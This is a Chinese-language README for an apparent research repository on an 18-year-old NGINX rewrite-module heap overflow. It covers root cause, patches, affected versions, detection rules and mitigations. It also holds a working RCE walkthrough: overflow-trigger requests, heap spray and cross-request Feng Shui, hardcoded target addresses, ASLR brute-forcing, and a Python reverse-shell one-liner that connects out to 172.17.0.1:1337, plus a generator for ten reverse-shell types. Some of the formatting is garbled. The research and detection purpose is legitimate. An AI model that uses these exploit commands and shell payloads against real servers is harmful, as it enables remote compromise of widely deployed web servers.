完整的 CVE-2026-42945 研究仓库,包含堆缓冲区溢出分析、RCE 漏洞利用(堆喷射 + Feng Shui)、检测脚本以及针对 NGINX rewrite 模块漏洞的修补指南。
| 指标 | 值 |
|---|
| CVSS v4.0 | 9.2(严重) |
| CVSS v3.1 | 8.1(高危) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — 基于堆的缓冲区溢出 |
| 引入时间 | 2008年6月 — v0.6.27 |
| 发现时间 | 2026年4月 — DepthFirst Research |
| 修复时间 | 2026年5月13日 — v1.30.1, v1.31.0 |
| CVE 发布时间 | 2026年5月21日 |
| 存在周期 | 约18年(未被发现) |
| 修复提交 | 524977e7c534e87e5b55739fa74601c9f1102686 |
未经认证的远程攻击者可以通过向具有特定 rewrite + set/if/rewrite 配置模式的服务器发送特制 HTTP 请求,在 NGINX worker 进程中触发确定性的堆缓冲区溢出。该溢出会破坏堆元数据(ngx_pool_cleanup_t 指针),从而通过堆喷(Heap Spray)和堆风水(Feng Shui)技术实现远程代码执行(RCE)。
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**关键要求:**
- 一个 `rewrite` 指令,其替换内容中含有 `?`(查询字符串分隔符)
- 后续的 `set`、`if` 或 `rewrite` 指令引用了**未命名的 PCRE 捕获组**(`$1`、`$2` 等)
- 重写替换内容中的 `?` 会触发 `ngx_http_script_start_args_code`,从而设置 `e->is_args = 1`
### 攻击者可以实现什么
| 能力 | 描述 |
|-----------|-------------|
| **拒绝服务** | 确定性地使工作进程崩溃,导致进程循环重启(无论是否启用 ASLR 都有效) |
| **远程代码执行** | 在 ASLR 被禁用(或通过部分覆盖绕过)的情况下,以 nginx 用户身份实现完整的 RCE |
| **数据泄露** | 通过内存读取原语,从工作进程堆中提取敏感数据 |
| **持久化** | 通过在工作进程内存中执行代码植入后门 |
---
## 2. 根本原因分析
### 两遍脚本引擎
NGINX 的 `ngx_http_rewrite_module` 在 `src/http/ngx_http_script.c` 中使用**两遍脚本引擎**:
1. **长度遍历** (`ngx_http_script_run`):遍历所有脚本代码以计算所需的总缓冲区大小。将长度写入 `le.ip` 和 `le.pos`。
2. **复制遍历** (`ngx_http_script_copy_len`/`_code`):再次遍历,将实际字节写入 `e->ip` 和 `e->pos` 处的预分配缓冲区。
每个脚本代码都有两个处理函数:每个遍历对应一个。例如:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### `is_args` 标志
**引擎结构** (`ngx_http_script_engine_t`) 上的标志 `e->is_args` 控制复制遍历如何处理某些字符:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
当 e->is_args = 1 时,$N 捕获引用的复制代码调用 ngx_escape_uri() 并传入 NGX_ESCAPE_ARGS,该函数会展开:
+ → %2B(1 字节 → 3 字节,+200%)% → %25(1 字节 → 3 字节,+200%)& → %26(1 字节 → 3 字节,+200%)漏洞模式的执行流程:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. 在**重写评估**期间,引擎在替换字符串中遇到 `?`,这会触发 `ngx_http_script_start_args_code`,设置 `e->is_args = 1`。
2. 重写会修改请求 URI,然后继续执行下一条指令。
3. **`e->is_args` 永远不会被清除**。
然后:```
set $original_endpoint $1;
le): ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
这会正确地将 le.is_args 归零为 0,因此长度传递返回的是原始、未转义的捕获长度。
e,而 e 在步骤 1 中仍具有 e->is_args = 1。复制传递应用 URI 转义,将每个可转义字符从 1 字节扩展为 3 字节,而缓冲区的大小却按原始长度分配——堆溢出。Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
扩展比例为 `7 + (n_escapable * 2)`,其中 `n_escapable` 是捕获中 `+`、`%` 和 `&` 的数量。
---
## 3. 利用机制
### 概述
| 步骤 | 技术 | 描述 |
|------|-----------|-------------|
| 1 | 溢出 | 发送带有 `+` 填充的精心构造的 URI,以溢出堆缓冲区 |
| 2 | 堆喷射 | 向 `/spray` POST 大体积请求体,用受控数据填充堆 |
| 3 | 堆风水 | 精心安排分配,使溢出目标(`ngx_pool_cleanup_t`)位于相邻位置 |
| 4 | 破坏处理器 | 溢出用 `system()` 地址覆盖 `ngx_pool_cleanup_t.handler` |
| 5 | 触发清理 | 等待池销毁 → `system(cmd)` 执行攻击者命令 |
| 6 | 反向 Shell | 串联反向 Shell 载荷以获得交互式访问 |
### 跨请求堆风水
**单请求堆风水会失败**,因为溢出在到达 `cleanup` 指针之前就破坏了池的元数据(`->d.next`、`->d.failed`)。当请求结束时池被销毁,损坏的元数据会导致**在调用 `system()` 之前崩溃**。
相反,该漏洞利用采用**跨请求堆风水**:
1. **请求 1(喷射)**:向 `/spray` POST 大体积请求体。后端(`server.py`)使用 `X-Delay` 响应头挂起响应,保持连接打开,从而保留堆分配。喷射用伪造的 `ngx_pool_cleanup_t` 块填充堆。
2. **请求 2(溢出)**:发送溢出 URI。溢出仅损坏 `cleanup` 指针(而非池元数据),使其指向喷射的伪造块。
3. **池销毁**:当喷射响应完成(延迟到期)时,池的清理链会遍历到伪造块并调用 `system(cmd)`。
### 地址要求
| 符号 | 数值(Docker,ASLR 关闭) | 描述 |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx 堆的基址 |
| `system@libc` | `0x7ffff6f6e420` | glibc 中的 `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | 指向 cycles 池的指针 |
| 伪造清理地址 | `0x5555556a4030` | 喷射目标地址 |
### ASLR 绕过
即使不禁用 ASLR,**DoS**(崩溃)仍能确定性触发。对于启用 ASLR 的 RCE,有两种方法:
1. **部分覆盖**:使用 1 字节或 2 字节覆盖,在同一页内移动指针,并暴力破解剩余的半字节(16–256 次尝试)。
2. **信息泄露**:读取 `/proc/self/maps`,或使用 `log_parser.py` 内存分析来确定内存布局。
---
## 4. 修复分析
### 官方修复
**提交**:`524977e7c534e87e5b55739fa74601c9f1102686`
**文件**:`src/http/ngx_http_script.c`
**行**:~1205(位于 `ngx_http_script_regex_end_code` 中)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code 在长度传递和复制传递期间每次正则表达式求值之后运行。在此处重置 e->is_args = 0 可确保:
set、if、rewrite)以干净的 is_args = 0 开始ngx_http_script_start_args_code 在替换字符串中遇到 ? 时仍然可以设置 is_args = 1 —— 该修复不会破坏这一功能patches/0002-hardening-bounds-check.patch 在 ngx_http_script_copy_capture_code 中添加了边界检查:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### 向后移植补丁
| 补丁 | Nginx 版本 |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. 受影响版本
### NGINX 开源版
| 范围 | 状态 |
|-------|--------|
| **0.1.0 – 0.6.26** | 不受影响(重写模块早于未命名捕获) |
| **0.6.27 – 1.30.0** | **易受影响**(18 年窗口期) |
| **1.30.1** | 首个修复版本 |
| **1.31.0+** | 已修复(主线版) |
### NGINX Plus
| 版本 | 受影响 | 已修复 |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX 生态
| 产品 | 受影响版本 | 状态 |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | 安全公告待发布 |
| F5 NGINX WAF | 5.9.0–5.12.1 | 安全公告待发布 |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | 安全公告待发布 |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | 安全公告待发布 |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | 安全公告待发布 |
| NGINX Agent | 2.0.0–2.35.0 | 安全公告待发布 |
---
## 6. 检测
### 版本检查```bash
bash detection/detect_vuln.sh
此脚本检查:
rewrite + ? + capture 模式python3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### 容器扫描```bash
python3 detection/container_scan.py
扫描本地 Docker 镜像,查找表明存在漏洞版本的 NGINX 标签/环境变量。
| 规则集 | 文件 | 覆盖范围 |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | 阻止 100+ 个连续 +、50+ 个编码的可转义字符,对 spray 端点进行速率限制 |
| Suricata/Snort | detection/suricata_rule.rules | 检测 GET URI 中过多的 +、编码字符洪水、对 /spray 的 POST spray、崩溃循环 DoS |
| Falco | detection/falco_rule.yaml | 运行时:nginx worker 上的 SIGSEGV、崩溃循环(60 秒内 3 次以上)、堆 spray POST 检测 |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. 缓解措施
### 立即(无需更改代码)
在所有 `rewrite` 指令中,将**未命名捕获**替换为**命名捕获**:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
命名捕获不会经过 ngx_escape_uri(..., NGX_ESCAPE_ARGS),因此即使 e->is_args = 1,也不会发生展开,也不会发生溢出。
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
应用以下加固措施:
- ASLR 验证和强制启用
- 工作进程隔离
- 核心转储限制
- SSL/TLS 加固
- 速率限制
- CSP 标头
### ASLR 检查```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. 快速开始```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
The Docker environment:
- 从提交 `98fc3bb78` 处从源码构建 NGINX(修复前最后一个存在漏洞的提交)
- 包含 GDB、valgrind、`util-linux`(用于 `setarch -R` 以禁用 ASLR)
- 暴露端口 **19321**(存在漏洞的 nginx)、**19322**(次要)、**19323**(Python 后端)
- 入口点使用 `setarch x86_64 -R` 禁用 ASLR,以获得确定性的漏洞利用地址布局
- 授予 `SYS_PTRACE` 能力并设置 `seccomp=unconfined` 以进行调试
### 仅存在漏洞版本```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN 容器```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. 触发溢出
### 基本崩溃(DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
这会发送:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
在复制过程中,捕获组 `$1` 中的 `+` 字符会被展开 3 倍,而缓冲区是按原始长度分配的,从而导致堆溢出。
### 预期输出```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
计算使目标字节数溢出所需的最少 `+` 号数量(在利用特定堆结构时很有用)。
### 字符扩展```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
输出给定前缀长度和可转义字符数量的扩展比率。
该漏洞利用通过 跨请求风水 实现可靠的代码执行:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### 基本用法```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### 高级选项
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `--host` | `127.0.0.1` | 目标主机 |
| `--port` | `19321` | 目标端口 |
| `--cmd` | — | 要执行的命令(除非使用 `--shell`,否则为必填) |
| `--shell` | — | 使用交互式 Shell 模式 |
| `--tries` | `3` | 漏洞利用尝试次数 |
| `--delay` | `2.0` | 堆喷与溢出之间的延迟(秒) |
| `--payload` | — | 自定义载荷文件的路径 |
| `--debug` | — | 启用详细的调试输出 |
### 堆布局分析```bash
python3 exploit/heap_layout.py
需要运行中的 nginx worker PID。解析 /proc/PID/maps 以查找:
system() 函数地址python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
查找其字节不包含可转义字符(`+`、`%`、`&`、`?` 等)的堆地址,用于构建漏洞利用载荷。
---
## 13. 反向 Shell 验证
### 架构```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| 类型 | 二进制 | 备注 |
|---|---|---|
bash | /dev/tcp | Bash 内置 TCP |
python | python3 -c | 最可靠,始终可用 |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | 需要证书 |
powershell | powershell | Windows 目标 |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### 自动验证```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. 修补
### 应用修复```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### 应用反向移植```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. 测试
### 单元测试```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
运行:
1. 单元测试(pytest 或 unittest)
2. 触发/溢出测试(如果服务器正在运行)
3. 配置扫描器针对易受攻击和安全的配置
4. 补丁试运行验证
### 回归矩阵```bash
bash tools/regression_matrix.sh
针对多个 NGINX 版本(1.22.0、1.24.0、1.26.0、1.30.0、1.30.1)测试易受攻击与安全配置,验证崩溃/不崩溃预期。
bash tools/test_all_configs.sh
测试所有配置模式(基础、高级、入口、网关),并带有溢出触发。
---
## 16. 模糊测试
### libFuzzer 测试工具
该模糊测试器(`fuzz/ngx_http_script_fuzz.c`)模拟两遍脚本引擎:
1. 将输入解析为一系列脚本代码
2. 执行长度遍历
3. 以 `e->is_args = 1` 执行复制遍历
4. 通过 ASAN 或大小不匹配检测缓冲区溢出```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
使用 ASAN、可配置超时和内存限制,针对模糊测试工具(harness)启动 AFL++。
### 种子语料库
`fuzz/corpus/` 目录包含可复现漏洞模式的种子输入,包括:
- 基本溢出触发器
- 命名捕获(不应溢出)
- 边界情况(空捕获、最大大小等)
---
## 17. CI 流水线
### GitHub Actions
该项目使用一个 **单一 GitHub Actions CI** 工作流(`.github/workflows/ci.yml`),包含以下作业:
| 作业 | 作用 |
|-----|-------------|
| `lint` | ShellCheck、Python 语法验证 |
| `scan-configs` | 对所有配置样本运行 config_scanner.py |
| `fuzz-build` | 构建 libFuzzer 测试工具 |
| `test` | 运行 pytest/unittest 测试套件 |
| `detect-patch` | 验证补丁格式和修复内容 |
| `verify-project` | 运行 `tools/verify_project.sh` |
### 完整流水线```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
流水线执行 7 个阶段:
| 文档 | 说明 |
|---|---|
docs/root-cause-analysis.md | 对两遍脚本引擎 bug 的深入技术分析,包含代码讲解和图示 |
docs/exploitation-guide.md | 逐步利用、堆喷、Feng Shui、地址计算、ASLR 绕过 |
docs/detection-guide.md | 配置扫描、日志分析、WAF 规则、SIEM 集成、异常检测 |
docs/mitigation-guide.md | 命名捕获转换、速率限制、WAF 部署、升级流程 |
docs/FAQ.md | 关于漏洞、利用和修复的常见问题 |
docs/timeline.md | 从 2008 年 bug 引入到 2026 年修复的完整披露时间线 |
docs/operational-guidance.md | 事件响应、取证、IOC 收集、紧急缓解 |
docs/case-study.md | 真实世界攻击场景模拟与杀伤链分析 |
docs/presentation-slides.md | 会议/聚会演示文稿,含演讲者备注 |
| 指标 | 值 |
|---|---|
| 总文件数 | 80+ |
| 目录 | 13(docker、exploit、shell、patches、configs、detection、fuzz、test、docs、tools、pipelines、.github/workflows、configs/advanced) |
| Python 脚本 | 22(exploit、detection、tools、shell、test) |
| Shell 脚本 | 15(detection、tools、shell、test、pipelines) |
| 补丁 | 5(1 个修复 + 1 个加固 + 3 个向后移植) |
| WAF 规则集 | 3(ModSecurity、Suricata、Falco) |
| CI 配置 | 1(GitHub Actions — 仅 CI) |
| 文档 | 9 份详细技术文档 |
| 配置示例 | 7(4 个易受攻击、2 个安全、1 个命名捕获 + 3 个高级) |
| 提交日志 | 1003+ 个独立提交 |
| Shell 类型 | 10(bash、python、nc、perl、ruby、php、socat、telnet、openssl、powershell) |
| 模糊测试工具 | 1(libFuzzer,约 200 行 C 代码) |
| 测试用例 | 8 个单元测试 + shell 运行器 |
| 覆盖的 NGINX 版本 | 20,在回归矩阵中 |
| 生命周期 | 18 年(2008–2026) |
| 资源 | 说明 |
|---|---|
ngx_http_script.c | NGINX rewrite 模块中有问题的源文件 |
ngx_pool_cleanup_t | 为 RCE 而被破坏的堆结构 |
ngx_escape_uri() | 导致溢出的扩展函数 |
setarch(8) | 用于禁用 ASLR 以获得确定性利用地址的 Linux 工具 |
本项目仅用于教育和防御性安全研究。该漏洞已被负责任地披露,并由 NGINX 维护者完成修复。